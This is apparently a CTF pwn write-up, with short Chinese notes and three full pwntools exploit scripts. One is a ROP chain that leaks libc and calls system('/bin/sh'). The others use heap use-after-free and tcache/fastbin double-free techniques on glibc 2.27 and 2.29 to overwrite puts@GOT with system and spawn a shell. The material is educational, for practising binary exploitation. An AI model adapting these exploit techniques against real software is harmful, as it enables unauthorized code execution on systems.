1.echo server

#/usr/bin/python
#coding:utf-8

from pwn import *
from LibcSearcher import *
context.update(arch='amd64',os='linux',timeout=1)
context.log_level='debug'
if args.Q:
	io=remote()
else:
	io=process("./test")
elf=ELF("./test")
read_got=elf.got['__libc_start_main']
printf_plt=elf.plt['printf']
main_addr=0x400769
ret=0x000000000040055e
pop_rdi=0x0000000000400823
pop_rsi_r15=0x0000000000400821
s_addr=0x0000000000400875
def leak():
	io.sendlineafter("name: ",str(0x200))
	payload='a'*0x88+p64(pop_rdi)+p64(s_addr)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(0x4005c6)
	io.sendlineafter("name? ",payload)
	read_leak=u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
	log.success("read_leak==>"+hex(read_leak))
	return read_leak
def pwn(read_leak):
	libc=LibcSearcher("__libc_start_main",read_leak)
	libc_base=read_leak-libc.dump("__libc_start_main")
	system_addr=libc_base+libc.dump("system")
	binsh_addr=libc_base+libc.dump("str_bin_sh")
	io.sendline(str(0x200))
	log.success("libc_base==>"+hex(libc_base))
	log.success("system_addr==>"+hex(system_addr))
	log.success("binsh_addr==>"+hex(binsh_addr))
	payload='a'*0x88+p64(ret)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
	io.sendline(payload)
	io.interactive()
if __name__=="__main__":
	leak=leak()
	pwn(leak)

2.sales_office

  • 题目是环境18.04,存在tcache。
  • 通过错位chunk头达到泄漏的目的,并且实现堆块复用。然后由于没有edit,通过删除重新拿堆块,由于题目在free的时候有一个uaf漏洞 所以就可以直接show出来heap地址,再用错位的方式来leak出libc地址。然后在通过还原chunk(0),删除chunk(0)重新申请的方法修改puts_got为system。然后直接show 一个内容为/bin/sh的堆块就可以getshell了。说实话,这两题用2.29的exp两题通用。
  • exp1
#/usr/bin/python
#coding;utf-8

from pwn import *
context.update(arch='amd64',os='linux',timeout=1)
context.log_level='debug'

if args.Q:
	io=remote()
else:
	io=process("./sales_office")
elf=ELF("./sales_office")
libc=ELF("./libc.so.6")
puts_got=elf.got["puts"]
def add(sz,ct='a'):	
	io.sendlineafter("choice:",'1')
	io.sendlineafter("house:\n",str(sz))
	io.sendafter("house:\n",ct)
def show(idx):
	io.sendlineafter("choice:",'3')
	io.sendlineafter("index:\n",str(idx))
def dele(idx):
	io.sendlineafter("choice:",'4')
	io.sendlineafter("index:\n",str(idx))

def leak():
	global heap_base
	add(0x10)#0
	add(0x20)#1
	add(0x10,"/bin/sh\x00")	#2
	dele(0)
	dele(2)
	show(2)
	io.recvline()
	heap_base=u64(io.recv(4).ljust(8,"\x00"))-0x260
	add(0x10,"/bin/sh\x00")#3
	log.success("heap_base==>"+hex(heap_base))
	#gdb.attach(io)
	#pause()
	dele(1)
	add(0x10,p64(puts_got)+p64(0x20))#4
	show(0)
	puts_leak=u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
	log.success("puts_leak==>"+hex(puts_leak))
	return puts_leak
def pwn(puts_leak):
	libc_base=puts_leak-libc.sym["puts"]
	system_addr=libc_base+libc.sym["system"]
	log.success("libc_base==>"+hex(libc_base))
	log.success("system_addr==>"+hex(system_addr))
	dele(4)
	add(0x10,p64(heap_base+0x280))#5
	dele(0)
	add(0x10,p64(puts_got))
	add(0x10,p64(system_addr))
	#show(2)
	show(3)
	io.interactive()
if __name__=="__main__":
	leak=leak()
	pwn(leak)
  • 直接重叠然后double free。
  • exp2
#/usr/bin/python
#coding;utf-8

from pwn import *
context.update(arch='amd64',os='linux',timeout=1)
context.log_level='debug'

if args.Q:
	io=remote()
else:
	io=process("./sales_office")
elf=ELF("./sales_office")
libc=ELF("./libc.so.6")
puts_got=elf.got["puts"]
def add(sz,ct='a'):	
	io.sendlineafter("choice:",'1')
	io.sendlineafter("house:\n",str(sz))
	io.sendafter("house:\n",ct)
def show(idx):
	io.sendlineafter("choice:",'3')
	io.sendlineafter("index:\n",str(idx))
def dele(idx):
	io.sendlineafter("choice:",'4')
	io.sendlineafter("index:\n",str(idx))

def leak():
	add(0x10)#0
	add(0x10)#1
	add(0x20)#2
	dele(0)
	dele(1)
	dele(2)
	add(0x10,p64(puts_got)+p64(0x20))#3
	show(1)
	puts_leak=u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
	log.success("puts_leak==>"+hex(puts_leak))
	return puts_leak
def pwn(puts_leak):
	libc_base=puts_leak-libc.sym["puts"]
	system_addr=libc_base+libc.sym["system"]
	log.success("libc_base==>"+hex(libc_base))
	log.success("system_addr==>"+hex(system_addr))
	dele(3)
	dele(2)
	add(0x10,p64(puts_got))#4
	add(0x20,"/bin/sh")#5
	add(0x10,p64(system_addr))#6
	#gdb.attach(io)
	#pause()
	show(5)
	io.interactive()
if __name__=="__main__":
	leak=leak()
	pwn(leak)

3.sales_office2

  • 题目附件是和sales_office一样,但是题目环境变成了19.04 glibc2.29
  • 就是同样的题目,在不通环境的利用。题目不能在tcache里面简单的double free,而我也没想到其他方法去修改key。所以把战场转移至fastbin。利用fastbin的double free来修改,然后配合tcache_put(当从fastbin中申请堆块时,如tcachebin没满就把fastbin剩余的堆块放进tcachebin。)最终getshell。
#/usr/bin/python
#coding;utf-8

from pwn import *
context.update(arch='amd64',os='linux',timeout=1)
context.log_level='debug'

if args.Q:
	io=remote()
else:
	io=process("./sales_office")
elf=ELF("./sales_office")
libc=ELF("./libc.so")
puts_got=elf.got["puts"]
def add(sz,ct='a'):	
	io.sendlineafter("choice:",'1')
	io.sendlineafter("house:\n",str(sz))
	io.sendafter("house:\n",ct)
def show(idx):
	io.sendlineafter("choice:",'3')
	io.sendlineafter("index:\n",str(idx))
def dele(idx):
	io.sendlineafter("choice:",'4')
	io.sendlineafter("index:\n",str(idx))

def leak():
	add(0x10)#0
	add(0x10)#1
	add(0x20)#2
	add(0x10)#3
	add(0x10)#4
	dele(0)
	dele(1)
	dele(2)
	add(0x10,p64(puts_got)+p64(0x20))#5
	show(1)
	puts_leak=u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
	log.success("puts_leak==>"+hex(puts_leak))
	return puts_leak
def pwn(puts_leak):
	libc_base=puts_leak-libc.sym["puts"]
	system_addr=libc_base+libc.sym["system"]
	log.success("libc_base==>"+hex(libc_base))
	log.success("system_addr==>"+hex(system_addr))
	dele(4)
	dele(3)
	dele(5)
	dele(1)
	add(0x10,"/bin/sh")#7
	add(0x10,"/bin/sh")#8
	add(0x10,"/bin/sh")#9

	add(0x10,p64(puts_got))#10
	add(0x20,"/bin/sh")#11
	#gdb.attach(io)
	#pause()
	add(0x10,p64(system_addr))#12
	#gdb.attach(io)
	#show(2)
	show(7)
	io.interactive()
if __name__=="__main__":
	leak=leak()
	pwn(leak)